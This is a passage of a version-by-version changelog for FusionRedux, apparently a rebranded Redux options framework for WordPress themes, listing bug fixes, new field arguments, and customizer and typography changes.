(http://jsdelivr.net). * Modified: CDN alerts to be more clear, and have proper links. ## 3.5.4.34 * Fixed: Bad code in raw field hosing up the entire panel. ## 3.5.4.33 * Modified: #2436 - Validation check for any validation type ending in 'not_empty' now recognized. ## 3.5.4.32 * Fixed: Undefined index for undeclared variable in Theme-Check checks. * Fixed: Annoying FusionRedux Theme-Check notices. * Fixed: How some functions were called. ## 3.5.4.31 * Fixed: Theme-Check baby! Everything working as it should with extra theme-check hints to prepare your theme for submission! * Fixed: Better .org hinting for theme submission. * Modified: `forced_dev_mode_off` argument that will ensure dev_mode is ALWAYS off. PLEASE do not ship with this enabled. We will NOT provide any support for any instance that has this argument enabled. Disable and test prior to posting on our issue tracker. * Added: `customizer_only` as a global arg that disables all of FusionRedux except for the customizer, in preparation for our customizer integration. ## 3.5.4.30 * Modified: Dissmissable FusionRedux Admin notices now use the WP 4.2 dismiss JS and Ajax. Pretty. * Modified: Admin notice code is now it's own isolated class inside core. * Modified: Use DB for admin notice, not flat-files. Boo. * Modified: Sample configs not to cause errors if multiple users use the same function name. * Fixed: CDN internationalization class. * Modified: Parsedown so as not to throw a shortcode error that didn't actually exist. ## 3.5.4.29 * Fixed: #2446 - Non google font choice not saving in certain instances. ## 3.5.4.28 * Fixed: Added additional check in fusionredux.js to stop errors with panels containing multiple raw fields. * Fixed: Hopefully, the issue of settings not saving on first install when using the FusionRedux API. ## 3.5.4.27 * Fixed: Set use_cdn argument to true, by default. ## 3.5.4.26 * Fixed #2437 - undefined value set to blank line height. ## 3.5.4.25 * Fixed: #2429 - Required evaluator 'contains' not working properly with multi_check ## 3.5.4.24 * Fixed: #2426 - Section field not indenting. ## 3.5.4.23 * Fixed: Divider field not rendering properly. * Added: `fieldset_class` argument for fields. Thanks @Enchiridion. * Added: Option to set checkbox label. Thanks @Enchiridion. * Added: javascript .trigger('change') to switch, spinner, and image_select. Thanks @Enchiridion. ## 3.5.4.22 * Modified: Ajax change output of error and notice via hooks. ## 3.5.4.21 * Fixed: #2414 - Bad ajax save due to mis-initialized variable. ## 3.5.4.20 * Fixed: CSS in metabox fields all wanky. * Added: 'reload_on_change' arg for fields, to force page reload after setting change. ## 3.5.4.19 * Fixed: #2377 - Replaced mysql_gets_server_info with $wpdb. ## 3.5.4.18 * Modified: Templates to properly excape values. * Fixed: Import/Export to properly be full-width and use lazy-load JS. * Modified: CSS for sections to bound to the section, not all of FusionRedux. ## 3.5.4.17 * Fixed: #2368 - Options panel layout offset. * Fixed: #2369 - validate_callback not working for color, color_gradient, and date. ## 3.5.4.16 * Fixed: #2355 - Space missing in switch class arg. * Fixed: Fixed all fields without leading space in class arg. ## 3.5.4.15 * Modified: Restrict table modification to fusionredux-container. * Fixed: Container overflow for pre's. * Modified: FusionRedux API to include removeSection and removeField. * Added: Added before and after hooks to any panel template file. ## 3.5.4.14 * Fixed: #2351 - WP_Error check added to admin blast remote get. ## 3.5.4.13 * Modified: Moved styling for the divide field into it's own CSS file. * Modified: All WP Color Pickers to properly save the value before save. * Added: CSS Styles for the customizer. ;) ## 3.5.4.12 * Modified: Panel is MUCH more responsive now. * Fixed: Small stylings for a few fields. * Fixed: Added extra qTip class. ## 3.5.4.11 * Modified: Ajax save animation. Added fallback for pre 4.2 CSS. * Fixed: Small issue with FusionRedux info boxes and spacing. * Fixed: Small bug with the FusionRedux API where divide sections were causing errors. * Fixed: Small admin blast fix. ## 3.5.4.10 * Modified: Qtip and Spectrum vendor libraries restored to local. * Fixed: Admin notice loading on front end. * Modified: Callback actions run with do_action_ref_array now. * Added: show_options_object argument to enable or disable option object. ## 3.5.4.9 * Added: Error suppressing to filesystem class to avoid notice errors when site goes down. ## 3.5.4.8 * Fixed: Panels not rendering, again * Added: Vendor support plugin link to CDN fallback message. ## 3.5.4.7 * Modified: Moved vendor libraries ACE, select3, qtip, and spectrum to CDN. * Removed: Local installs of above libraries. ## 3.5.4.6 * Fixed: Option panel not rendering due to experimental code. ## 3.5.4.5 * Fixed: How sorter works with data * Modified: How the data arg is stored in FusionRedux. ## 3.5.4.4 * Removed: sysinfo.php. No longer needed in lieu of our support URL feature. * Removed: debug.php. Moved to options_object extension. * Modified: #2274 - PHP Unit test compatibility. Thanks @daithi-coombes. * Modified: #2144 - Optional class argument per image. Thanks @paulthecoder. * Fixed: #2278 - More W3 Total Cache hacks. ## 3.5.4.3 * Fixed: #2258 - welcome redirect error with embedding plugin scenarios. * Fixed: FusionRedux plugin load order when activating plugins. ## 3.5.4.2 * Fixed: #2271 - stuck redirect on godaddy (seriously, get a real host, people) servers. ## 3.5.4.1 * Fixed: #2216 - Reset section not always working within FF. ## 3.5.4 * Modified: update_notice arg only truly shows up if dev_mode is on. ## 3.5.3.3 * Added: Tooltip to developer mode badge, for informational purposes. * Modified: Added css_layout ext to default value filter, to avoid errors. ## 3.5.3.2 * Fixed: #2239 - Various extensions didn't support default values for default arg. Filtered out offending extensions. ## 3.5.3.1 * Fixed: WP.org ONLY SVN mixup. ## 3.5.3 * Fixed: #2228 - Submenu items still visible if permissions not allowed. * Fixed: Import/Export showing up in customizer. * Modified: Admin-fresh theme to match new WordPress 4.2 * Modified: FusionRedux widget now has a proper ID. Thanks @corradomatt! * Modified: Added text-shadow to submenu items to give a stronger "pop" * Modified: Page_slug now dynamically generated if not specified. ## 3.5.2.2 * Modified: Admin blast message pinging server on each load after three day expiration. Possible slow down of the overall panel loading time. ## 3.5.2.1 * Fixed: #2221 - Background field media not enqueueing when used with no other media based fields. ## 3.5.2 * Fixed: #2214: Bad path for import/export enqueue. * Release: Wp.org release. ## 3.5.1 * Release: Wp.org release. ## 3.5.0.7 * Modified: FusionRedux News dashboard widget appears only when dev_mode is true or in a local host environment. ## 3.5.0.6 * Fixed #2127 - Elusive icons not working in footer as before. * Fixed Issue where Status tab not showing extension versions properly. * Fixed Issue in support URL not passing data correctly. ## 3.5.0.5 * Fixed Support URLs now work even if max_input_vars is way low in PHP 5.3+ ## 3.5.0.4 * Fixed #2197 - Import/export not loading proper for those who have opted to install Wordpress in ways it was never intended. ## 3.5.0.3 * Fixed: 'Generate Support URL' feature kicking back error. ## 3.5.0.2 * Fixed Sortable checkbox labels not displaying properly. * Fixed Sortable textbox not displaying default value as placeholder. * Updated: sample-config with accurate example for both sortable modes. ## 3.5.0.1 * Fixed #2181 - Fixed issue with Ajax Save when PHP 5.3 Magic Quotes were disabled. ## 3.5.0 OFFICIAL RELEASE Various fixes and improvements for release. ## 3.4.4.9.4 * Fixed: #2181 - Issue with PHP < 5.4 and the Ace Editor field. Oy. ## 3.4.4.9.3 * Fixed: #2163 - Undefined error in JS. ## 3.4.4.9.2 * Fixed: #2176 - Infinite loop in the customizer for live preview of themes. ## 3.4.4.9.1 * Fixed: Support page now works. * Fixed: Fix for MySQL deprecated functions in php 5.5+. ## 3.4.4.9 * Added: Dynamic admin messages (aka Newsflash). Dismissable admin messages announcing breaking FusionRedux news. Messages will not appear for users when dev_mode is set to `false`. However, messages remain active on localhosts, so devs may benefit. ## 3.4.4.8 * Fixed: #2155 - Fixed import with ajax_save. * Fixed: Changelog now uses raw field parsedown if present. ## 3.4.4.7 * Added: FusionRedux Framework News Widget on the WP Dashboard. ## 3.4.4.6 * Fixed: #2156: `label` argument not recognized when using sortable as textbox. ## 3.4.4.5 * Fixed: #2140 Another PHP 5.2 issue with ajax_save. * Modified: Opt groups for select field now working in customizer even if not supported. ## 3.4.4.4 * Added: `full_width` arg now makes ANY field full-width. :) ## 3.4.4.3 * Fixed: #2133 - Ajax save adding extra backspashes in PHP 5.2 only (They didn't use array map properly). * Fixed: Customizer wasn't working. Thanks @sgssandhu! ## 3.4.4.2 * Fixed: #2125 - Compiler not firing on first save, when using ajax_save. ## 3.4.4.1 * Fixed: #2118 - Typography JS error. ## 3.4.4 * Fixed: Odd typography bug no one has reported. * Modified: Sticky header and footer to remain within the fusionredux-main container. ## 3.4.3.9 * Fixed #2097 - Slash fix for ajax_save that was previously believed to be an isolated issue. Now applied on all ajax saves. ## 3.4.3.8 * Fixed: #2086 - color_rgba improperly functioning when transparent mode set to false. ## 3.4.3.7 * Fixed Import/Export bug where it wasn't running. * Modified Locations of the core extensions directory as well as grunt configuration. ## 3.4.3.6 * Fixed #2047 - Validation will now accept 0 as a value to be tested. Thanks @Ninos! * Added url_slug validation with option flush_permalinks! * Fixed Issue where the remove of background field was always showing an empty preview box. * Modified Turned ajax_save on by default for additional bug reports. ;) * Modified Added some margin above validation errors/warnings so they look better. * Modified Removed previous element border for any section so it looks better. ## 3.4.3.5 * Fixed #2081 - Section field hiding any field after. Weird. ## 3.4.3.4 * Added #2047 - `output_transparent` argument to output the blank color feature as 'transparent'. * Fixed #2080 - missing 'rem' unit and inability to process float values. Thanks to @HELWATANY for the fixes! * Fixed #2043 - misaligned images in image_select field. ## 3.4.3.3 * Added: #2064 - Merge argument for image_select. Thanks @Ninos * Modified: Import/Export is now an extensiona and decoupled from the core. * Fixed: Spinner had a nasty number bug, now resolved. * Fixed: #2076 - RTL bug with old ID's. Thanks @mahfoozroy. * Fixed: #2072 - Ajax_save editor type bug fix. ## 3.4.3.2 * Fixed: #2058 - Incorrect path in include statement for sysinfo.php ## 3.4.3.1 * Modified: Templates now have versioning with a warning (dev_mode only) if they are outdated from the core templates. ## 3.4.3 * Modified: Ajax saving now has overlay during save to avoid confusion for users. ## 3.4.2.9 * Modified: Template files even more for simplicity and ease. * Modified: Saving. FusionRedux now has the ajax_save argument if you want it! * Modified: Validation warnings now work. ## 3.4.2.8 * Fixed: Changed set_transient function to public to avoid errors in new templating code. ## 3.4.2.7 * Modified: Entire panel template is now decoupled from the theme and implemented with many filters for easy customization. ## 3.4.2.6 * Fixed: #1478 - Import/export failing when two instances if FusionRedux in use. Thanks, @desaiuditd! * Fixed: Section field not indenting properly, if at all. ## 3.4.2.5 * Added: #2031 - Proper CSS sanitization for compliancy with WP.org. ## 3.4.2.4 * Fixed: #2027 - added isset() ## 3.4.2.3 * Fixed: #2019 - Reset issues with PHP 5.2. Thanks a bunch, @Webcreations907! ## 3.4.2.2 * Fixed: #2023: Issue with custom submenus in menu. ## 3.4.2.1 * Fixed: #2025: Issue with select sorting. ## 3.4.2 * Update: ACE Editor. Thanks @corradomatt. ## 3.4.1 * Fixed: Small filesystem option with bad filter key reference. * Added: Small return if $section filter returned the section empty. ## 3.4.0 * WP.org Release ## 3.3.10.7 * Fixed: Reset section hook firing too early. ## 3.3.10.6 * Modified: The FusionRedux Repeater field has landed! ## 3.3.10.5 * Fixed: #1983 - color_rgba not outputting default values on first load (before save). ## 3.3.10.4 * Fixed: Google font enqueues with opt_name to avoid collision with multiple FusionRedux instances. ## 3.3.10.3 * Fixed: #1980 - JS errors with sorter & sortable. * Fixed: color_rgba field outputting incorrect information via output/compiler. ## 3.3.10.2 * Fixed: #1979 - Goole fonts not properly loading in typography dropdown. ## 3.3.10.1 * Fixed: Undefined index error on MU installs. ## 3.3.10 * Removed: SASS compile of field CSS, for the time being. Compiler remains in core. * Improved: Panel load time, most notable when not in dev_mode. Better for your clients. :) * Updated: Elusive Font library. * Fixed: #1961 - color_rgba field defaulting to black on reset. ## 3.3.9.35 * Fixed: #1941 - Datepicker opened off screen. * Fixed: #1756, #1957 - Slider issues. Thanks @FFIN! * Fixed: #1960 - Duplicate slide when clicking Add. Again, thanks to @FFIN for the fix. * Added: New filter: apply_filters 'fusionredux/validate/{opt_name}/before_validation' * Fixed: #1745 - Adding settings submenu to empty submenu now works. Many, many thanks to @No3x for cracking this one! ## 3.3.9.34 * Fixed: #1955 - Undefined index rgba in output routine. ## 3.3.9.33 * Modified: #1947 - Added display:none to TR tag under info field. ## 3.3.9.32 * Replaced: #1951 - Replaced develop branch of scssphp to master branch due to PHP 5.2 incompatibililty. ## 3.3.9.31 * Fixed: #1943 - Removed premature DIV close. * Fixed: #1945 - Media preview not rendering when default ID specified. ## 3.3.9.30 * Modified: #1930 - reorder 'psedo-class of link_color field. Thanks @freddessaint * Modified: SASS compiler outputs to page by default. Faster. * Fixed: #1927 - Incorrect dir path to spectrum library in color_rgba field corrected. ## 3.3.9.29 * Modified: color_rgba field now usees spectrum color picker. minicolors removed. Just...too buggy. ## 3.3.9.28 * Modified: #1922 - Filesystem output function. ## 3.3.9.27 * Fixed: Added PHP 5.2 support (ugh!) for SASS compiler. ## 3.3.9.26 * Fixed: More SASS compiler tweaking. ## 3.3.9.25 * Fixed: PHP errors when disabling SASS. ## 3.3.9.24 * Fixed #1909 - malformed DIV class HTML in slider field. ## 3.3.9.23 * Removed Argument for SASS compile file output location removed. Didn't work, too much trouble. ## 3.3.9.22 * Fixed: #1904 - select_image field not displaying saved value on page reload. ## 3.3.9.21 * Fixed: SASS compile under multi-instance outputting incorrect CSS file ## 3.3.9.20 * Fixed: fusionredux-admin scss images converted to base64 ## 3.3.9.17 * Added SASS compiler for admin CSS. * Added SASS to CSS for grunt compiler. ## 3.3.9.16 * Added SASS compiler for fields. ## 3.3.9.16 * Updated: select3 3.5.2 ## 3.3.9.15 * Fixed: #1856 - Illegal offset string warnings in framework.php. Thanks @CGlingener. * Fixed: #1874 - Required operator 'contains' and 'not_contains' not working with select set to multi. * Fixed: #1829 - Required operator '=' and '!=' not working with select set to multi. ## 3.3.9.14 * Fixed: #1870 - Border field doubling up on px in output/compiler. * Added: `hidden` argument for fields. * Added: `hidden` argument for sections. ## 3.3.9.12 * Fixed: #1868 - Improper panel render when opening expanded, when `open_expanded` set to true. * Added: `hide_expand` argument, to hide the expand options button. ## 3.3.9.11 * Fixed: #1865 - Sortable select not saving proper order. * Fixed: #1864 - Footer z-index CSS adjusted. ## 3.3.9.10 * Fixed: #1848 - Import-export filed buttons not functioning properly. ## 3.3.9.9 * Fixed: #1834 - Wordpress data dealing with IDs as array keys not rendering properly. * Fixed: #1830 - Font lists were added in quotes. Thanks @karimhossenbux. ## 3.3.9.8 * Fixed: #1798 - Fixed lazy load JS to only load visible sections. Much more optimized. ## 3.3.9.7 * Fixed: #1821 - Exo 2 font not working, issue with typography and escaping. ## 3.3.9.6 * Added: #1803 - Optgroup support for select field. ## 3.3.9.5 * Added: Decimal increments to spinner. ## 3.3.9.4 * Added: Customizer now supports PANEL! Yay 4.0. ## 3.3.9.3 * Fixed: #1789 - Customizer now properly working again with WP 4.0. Odd bug. * Modified: README.md updates as per @cmwwebfx suggestions. ## 3.3.9.2 * Fixed: #1782 - Fixed some extra themecheck and customizer issues. ## 3.3.9.1 * Fixed: #1782 - Media field not showing files after upload? Hopefully this fixes it. ## 3.3.9 * Fixed: #1775 - Call to undefined function is_customize_preview() in pre WP 4.0. * Fixed: Issue where in some cases tracking still occuring after opt-out. * Modified: Documentation URL. ## 3.3.8.8 * Fixed: #1742 - Sidebar subsections don't always expand. ## 3.3.8.7 * Fixed: #1758 - Thanks @echo1consulting! * Added: 'hidden' to menu_type argument to allow for hidden menus until available. ## 3.3.8.6 * Fixed: #1749 - Remove font-wight and font-style from css output when not in use. ## 3.3.8.5 * Modified: Added the "fusionredux/options/{$this->args['opt_name']}/compiler/advanced" hook for more advanced compiling. * Added: Suggestions as per #1709. Thanks @echo1consulting. ## 3.3.8.4 * Modified: Removed a cURL instance from the core and fixed the developer ad resizing. * Fixed: PHP 5.2 issues. *sigh* ## 3.3.8.3 * Added: #1593 - Great pull request by @JonasDoebertin. Now you can enqueue dynamic output to the login screen or admin backend. ## 3.3.8.2 * Fixed: Customizer wasn't saving at all! That's been like 4 months. No one's reported it. Hmm. * Fixed: #1702 - Customizer only fields were being erased on panel save. ## 3.3.8.1 * Fixed: Various Theme-Check errors with languages. * Added: Theme-Check class to help devs know what is what. * Fixed: The way we include files from include_once to require_once everywhere. * Modified: Language files to reflect new strings. * Modified: Formatted a bunch of old class files. * Added: Notice on the updates for non-devs to use the new dev_mode disabler plugin and notify their developer. ;) ## 3.3.8 * Modified: Updated potomo, thanks @shivapoudel. * Added: Grunt checktextdomain and made improvements. Thanks @shivapoudel. ## 3.3.7.11 * Modified: #1685 - Specifying no default argument for image_select caused errors on reset. ## 3.3.7.10 * Fixed: #1667 - Slides Upload button causing JS error. ## 3.3.7.9 * Fixed: #1670 - Fix for Theme Check -> `add_setting() method needs to have a sanitization callback function passed.` ## 3.3.7.8 * Fixed: #1661 - Fix for undefined index in some versions of PHP. Thanks @gianbalex! * Modified: #1658 - Improvements from @shivapoudel, including: * Removed makepot and used grunt-wp-i18n instead. * Added a jshintrc file * Added a `grunt addtextdomain` to correct any bad textdomains in the core. * Updated .gitignore for better readability * Updates to a few other files including package.json. * Updated language files. * Update codestyles/.editorconfig to reflect the project's standards. ## 3.3.7.7 * Modified: #1653 - Better admin bar with external links: Admin bar menu priority, icon, and external links. Thanks @shivapoudel! ## 3.3.7.6 * Added: #1651 - `library_filter` argument. Allows specification of what files to display in the media library. * Modified: #1651 - `mode` argument accepts either file type or mime type (but not both). ## 3.3.7.5 * Fixed: #1650 - Toogle error with responsive CSS. ## 3.3.7.4 * Fixed: #1643 - Slight border issue (2px) on sticky footer. ## 3.3.7.3 * Fixed: #1642 - Added `font_family_clear` arg, enabling the clear option for font-family. * Fixed: #1638 - Spacing field not outputting when units values attached to default values. * Modified #1644 - `import_icon` argument now accepts wordpress dashicons ## 3.3.7.2 * Fixed: #1634 - Double border for sections field. Thanks @AlexandruDoda * Modified: Changelog location to now Changelog.md. ## 3.3.7.1 * Fixed: #1632 - Sortable with no defaults set revert to false (instead of options values). * Fixed: Labels for sortable in text mode updated to match framework. ## 3.3.7 * Added: #1586 - Class-level declaration for callbacks and validation. Thanks @echo1consulting. * Modified: Typography field now fully dynamic. * Modified: No longer require a google_api_key for the typography module. :) * Fixed: FTP credentials screen giving a "undefined submit_button function". Resolved. * Modified: #1628 - Spacing and dimensions now only output 0 if the entry is a 0, not empty. Thanks @Webcreations907 * Modified: CSS for menu items when active (no hover). * Added: Visual feedback to left menu if active. ## 3.3.6.9 * Fixed: #1623 - Registered older noUISlider JS under a new name to avoid conflicts. * Modified: #1622 - Removed googlefonts.js dependency. ## 3.3.6.8 * Fixed: #1600 - ACE Editor bombing in PHP 5.2 environments. ## 3.3.6.7 * Fixed: #1591 - Erroneous outputting of font-weight and font-style when no font-family selected. * Updated: #1569 - Improved submenu highlighting. * Added: #1487 - Added `get_default_value` function into the framework.php ## 3.3.6.6 * Fixed: Framework URI errors when using child themes. Some restructuring. ## 3.3.6.5 * Fixed: Framework URI errors when embedded in theme with Windows. ## 3.3.6.4 * Added: image_size as an option for the data argument. Thanks @Gyroscopic! ## 3.3.6.3 * Modified: How FusionRedux paths are run. Should cover all use cases now. Child themes can also embed FusionRedux properly now. Thanks @cfoellmann for the suggestions. Fix for issue #1566. ## 3.3.6.2 * Modified: How we declare the uploads directory and URL. Using core WP functions now. ## 3.3.6.1 * Modified: Now if a section is empty, but has subsections, that section will be "skipped" when clicked and the first subsection will then be shown. ## 3.3.6 * Modified: Language files. * Fixed: #1560 - IE8 RGBA fallack ## 3.3.5.12 * Fixed: #1543 - Hint icon not changing when set in args. ## 3.3.5.11 * Fixed: #1537 - Media field not accepting images with mode set to false. ## 3.3.5.10 * Fixed: #1529 - ACE Editor conflict with Visual Composer. * Added: #1530 - Added argument to specify admin bar icon, `admin_bar_icon`. Thanks Ninos! * Fixed: #1532 - Media field not accepting any mime type when `'mode' => false`. ## 3.3.5.9 * Fixed: #1520 - Checkbox field not displaying Wordpress data when using data argument. ## 3.3.5.8 * Fixed: #1516 - Invalid index and foreach when using compiler and async_typography. ## 3.3.5.7 * Fixed: #1509 - Sorter adding unnecessary bits on some items. * Fixed: #1514 - Customizer and multisite not getting on properly. * Fixed: #1512 - Slides 'Upload' button not showing or saving selected image. ## 3.3.5.6 * Fixed: Checkboxes with required were working in reverse. ## 3.3.5.5 * Fixed: ASync Typography now works! No more flashing fonts. ## 3.3.5.4 * Fixed: #1489 - Color picker UI lining up improperly. * Fixed: #1497 - dev_mode spinner issue. ## 3.3.5.3 * Fixed: Spelling error in tracking dialog. * Modified: Updated ace_editor. * Modified: Many MANY fields for the group field. * Fixed: Some CSS bugs. ## 3.3.5.2 * Fixed: #1481 - Custom fonts loading in google font CSS. * Fixed: #1485 - Customizer 'invalid argument' error. Thanks @rnlmedia. ## 3.3.5.1 * Fixed: #1472 - font style not displaying saved valie with no font-family argument set. * Fixed: #1471 - raw field and required not playing nice together. ## 3.3.5 * Added: An annoying notice at the top so our devs don't ship with dev_mode on. ;) ## 3.3.4.9 * Fixed: #1462 - Google fonts not loading in font drop down. ## 3.3.4.8 * Fixed: More WP FileSystem tanking. Did PHP fallback before FTP. Works 99.9% of the time without credentials. ## 3.3.4.7 * Fixed: Incorrect folder CHMOD in filesystem class. ## 3.3.4.6 * Fixed: #1454 - Chmod permissions for fusionredux folder. ## 3.3.4.5 * Fixed: #1451 - Googlefonts not loading due to failing copy function. ## 3.3.4.4 * Fixed: #1450 - Saves witch values with no `on` or `off` args make the core unhappy. ## 3.3.4.3 * Fixed: #1444, again, due to filesystem growing pains. * Fixed: #1449 - Restoring `options` argument over a lousy attempt to fix placeholder. ## 3.3.4.2 * Fixed: More file permission issues. ## 3.3.4.1 * Fixed: Font debug was left from last commit. Sorry all. ## 3.3.3.8 * Fixed: Issues with file writing. Basically many users don't install WordPress with all the permissions correct. So... Had to move it back to /uploads/. Sorry Otto, that's just how it is. * Fixed: #1444 - output of typography all_styles when font_style UI was hidden. ## 3.3.3.7 * Fixed: #1440 - flaw in new cleanFilePath logic. ## 3.3.3.6 * Fixed: #1432 - Theme check failing when double-slashes existed in get_template_directory() return. * Removed: curlRead from helper class. ## 3.3.3.5 * Fixed: #1426 - menu_name not appearing on front end admin bar. * Added: #1427 - button_set added to customizer UI. Thanks @wpexplorer. ## 3.3.3.4 * Fixed: #1429 - ACE Editor erroring with no default value set. * Fixed: wp_filesystem now initialized with credentials in an effort to combat the tmp file issue. ## 3.3.3.3 * Modified: Code purification. ## 3.3.3.2 * Modified: How section tabs work. Isolated within the fusionredux-container class. ## 3.3.3 * Modified: #1412 - Redesigned text label, placeholder fix. ## 3.3.2.10 * Fixed: #1408 & #1357 - Typography subsets losing value after multiple saves on other panels. ## 3.3.2.9 * Fixed: #1403 - unit value no longer prints after empty typography values * Modified: Typography: Backup font no longer appends to `font-family` variable. Please use the `backup-font` variable to specify backup fonts. This does not apply to output/compiler strings. ## 3.3.2.8 * Fixed: #1403 - Backup font not appearing in font-family variable. ## 3.3.2.7 * Modified: Customizer now supports section and field `permissions` argument. * Fixed: #1399 - Customizer respects `page_permissions` argument. ## 3.3.2.6 * Fixed: #1400 - output/compiler string incomplete using multiple selectors. ## 3.3.2.5 * Fixed: #1396 - Custom fonts cutting off multiple families in selector, after save. * Fixed: Typography attempting to queue up non google fonts on backend. * Added: #1395 - Display of child theme status in sysinfo, thanks @SiR-DanieL. ## 3.3.2.4 * Fixed: #1387 - Page jump when clicking "Options Object". Thanks @rrikesh. * Added: #1392 - Filters to change the following localized strings: fusionredux/{opt_name}/localize/reset fusionredux/{opt_name}/localize/reset_all fusionredux/{opt_name}/localize/save_pending fusionredux/{opt_name}/localize/preset ## 3.3.2.3 * Fixed: #1376 - checkbox.min.js missing. ## 3.3.2.2 * Fixed: Static variable changes for instances and basic comment cleanup ## 3.3.2.1 * Fixed: #1361 - Raw field not hiding with required. * Fixed: Datepicker not formatting properly. Still needs some work. ## 3.3.1.9 * Fixed: #1357 - Preview not rendering font on page load. ## 3.3.1.8 * Fixed: #1356 - Color fields and transparency not syncing due to new JS. ## 3.3.1.7 * Fixed: #1354 - Add class check for W3_ObjectCache. ## 3.3.1.6 * Fixed: #1341 - JS not initializing properly in import_export. ## 3.3.1.5 * Fixed: #1339 - Typography would lose Font Weight and Style. value was named val in the HTML, so it would be destroyed on the next save if not initialized. ## 3.3.1.4 * Fixed: #1226 - W3 Total Cache was affecting validation and compiler hooks. * Fixed: Menu errors weren't showing properly for non-subsectioned items. ## 3.3.1.3 * Fixed: #1341 - Import/Export buttons not functioning. Also fixed sortable somehow. ## 3.3.1.2 * Fixed: Slides not initializing with the last fix. ## 3.3.1.1 * Fixed: Slides field was not properly initialized for the media elements. Fixed. ## 3.3.0.6 * Fixed: #1337 - `fusionredux` JS dependency loading issue. Many thanks @tpaksu ## 3.3.0.5 * Modified: Drastically changed the way JavaScript is used in the panel. Forced as-needed initialization of fields. Thus reducing dramatically the overall load time of the panel. The effects have been seen up to 300% speed improvement. The only time a field will be initialized is if it's visible, thus reducing the processing needed in DOM overall. ## 3.3.0.4 * Fixed: #1336 - fixed default font in preview. ## 3.3.0.3 * Fixed: #1334 - Typography not un-saving italics. ## 3.3.0.2 * Added: #1332 - New validation: numeric_not_empty. ## 3.3.0.1 * Fixed: #1330 - Required not working on all fields. ## 3.3.0 * Added: #1329 - `'preview' = array('always_display' => true)` argument to typography, to determine if preview field show always be shown. ## 3.2.9.38 * Fixed: #1322 - Sections not folding with required argument. * Modified: Portions of core javascript rewritten into object code. ## 3.2.9.37 * Fixed: #1270 - Editor field compiler hook not firing in visual mode. ## 3.2.9.36 * Added: `hide_reset` argument, to hide the Reset All and Reset Section buttons. ## 3.2.9.35 * Fixed: select3 dependency in select_image, and other fields. ## 3.2.9.34 * Fixed: Filter out `@eaDir` directories in extensions folder. * Added: `content_title` argument to slides field. Thanks @psaikali! ## 3.2.9.33 * Fixed: Fixed the image_select presets to work again. Also now will function even if import/export is disabled. ## 3.2.9.32 * Fixed: Minor tweaks for metabox update. ## 3.2.9.31 * Fixed: #1297 - Missing space in image_select class. * Fixed: Slider field tweaked for metaboxes. ## 3.2.9.30 * Fixed: #1291 - Change of font-family would not trigger preview, or show in open preview. ## 3.2.9.29 * Fixed: #1289 - Typography not retaining size/height/spacing/word/letter spacing settings. ## 3.2.9.28 * Fixed: #1288 - Background color-picker dependency missing. Thanks @farhanwazir. ## 3.2.9.27 * Fixed: Search extension failed do to dependency issue from the core. ## 3.2.9.26 * Fixed: #1281 - color field output/compiler outputting incorrect selector when only one array present. ## 3.2.9.25 * Fixed: Update check only appears once if multiple instances of FusionRedux are loaded in the same wordpress instance. ## 3.2.9.24 * Fixed: Changing font-family in typography didn't trigger 'save changes' notification. * Fixed: More typography: Back up font appearing in font-family when opening selector. * Fixed: Typography: undefined message when NOT using google fonts. Thanks @farhanwazir ## 3.2.9.23 * Added: `customizer_only` argument for fields & sections, contributed by @andreilupu. ## 3.2.9.22 * Fixed: Typography font backup not in sync with font-family. * Fixed: Typography not saving font-family after switching back and forth between standard and google fonts. * Fixed: Background field selects not properly aligned. ## 3.2.9.21 * Added: select3 args for spacing field. * Modified: All field javascript rewritten using jQuery objects (versus standard function). Prepping for another crack at group field. ## 3.2.9.20 * Added: select3 args for the following fields: typography, background, border, dimensions and slider. * Fixed: Removed select field dependency from background field. ## 3.2.9.19 * Fixed: #1264 - Color-picker/transparent checkbox functionality. * Fixed: Typography fine-tuning. ## 3.2.9.18 * Modified: Typography field rewritten to fill out font-family field dynamically, versus on page load. * Fixed: All typography select fields render as select3. ## 3.2.9.17 * Fixed: Switching between transparency on and off now restores the last chosen color in all color fields. ## 3.2.9.16 * Fixed: FusionRedux uploads dir should NOT be ~/wp-content/uploads, but just wp-content. As per Otto. * Fixed: Navigation no longer has that annoying outline around the links. Yuk. ## 3.2.9.15 * Fixed: #1218 - Select3 multi select not accepting any keyboard input. ## 3.2.9.14 * Fixed: #1228 - CSS fixes ## 3.2.9.13 * Fixed: #1255 - button_set multi field not saving when all buttons not selected. ## 3.2.9.12 * Fixed: #1254 - Border field with 0px not outputting properly. * Fixed: #1250 - Typography preview font-size not set in preview. * Fixed: #1247 - Spacing field not outputting properly in `absolute` mode. * Modified: Typography previewing hidden until font inputs are changed. ## 3.2.9.11 * Fixed: Vendor js not loading properly when dev_mode = true * Fixed: Border field not outputting properly. ## 3.2.9.10 * Modified: Centralized import/export code in anticipation of new builder features. * Fixed: Removed rogue echo statement. ## 3.2.9.9 * Modified: select3 loads only when a field requires it. ## 3.2.9.8 * Modified: More code to load JS on demand for fields require it. ## 3.2.9.7 * Modified: Field specific JS only loads with active field. * Fixed: Hints stopped working due to classname change. ## 3.2.9.6 * Fixed: Permissions argument on section array not filtering out raw field. ## 3.2.9.5 * Fixed: Too many CSS tweaks to list, due to last build. * Fixed: Sortable and Sorter fields now sort without page scroll when page size is under 782px. * Fixed: Hint icon defaults to left position when screen size is under 782px. * Fixed: `permissions` argument for fields and sections erasing saved field data. See #1231 ## 3.2.9.4 * Modified: Woohoo! Nearly fully responsive. Yanked out all SMOF and NHP field customizations. Lots of little fixes on all browser screens. This will also greatly benefit Metaboxes and other areas of FusionRedux. * Fixed: In dev_mode panel CSS was being loaded 2x. ## 3.2.9.3 * Fixed: Typography color picker bleeding under other elements. #1225 * Fixed: Hint icon_color index error from builder. #1222 ## 3.2.9.2 * Fixed: Tracking. It was... odd. Also started our support hooks, UI to come. * Fixed: Now import/export supports multiple instances. I can't believe this has been this way for so long. ## 3.2.9.1 * Fixed: Spacing field not outputting proper CSS when `mode` was set to absolute, and `all` was set to true. * Fixed: CSS fix for typography. Color picker would interfere with save/reset bar. ## 3.2.8.21 * Added: Network admin support! Set argument 'database' to network and data will be saved site-wide. Also two new arguments: network_admin & network_sites for where to show the panel. ## 3.2.8.20 * Fixed: FusionRedux now ignores any directories that begin with `.` in the extension folder. See #1213. ## 3.2.8.19 * Fixed: FusionRedux not saving when validating uploads. * Modified: Dimension field default now accepts either `units` or `unit`. ## 3.2.8.18 * Fixed: Border field output/compiler formatting. Removed 'inherit' in place of default values. See #1208. * Fixed: Trim() warning in framework.php when saving. See #1209, #1201. ## 3.2.8.17 * Fixed: Typography not outputting all styles when `all_styles` set to true. ## 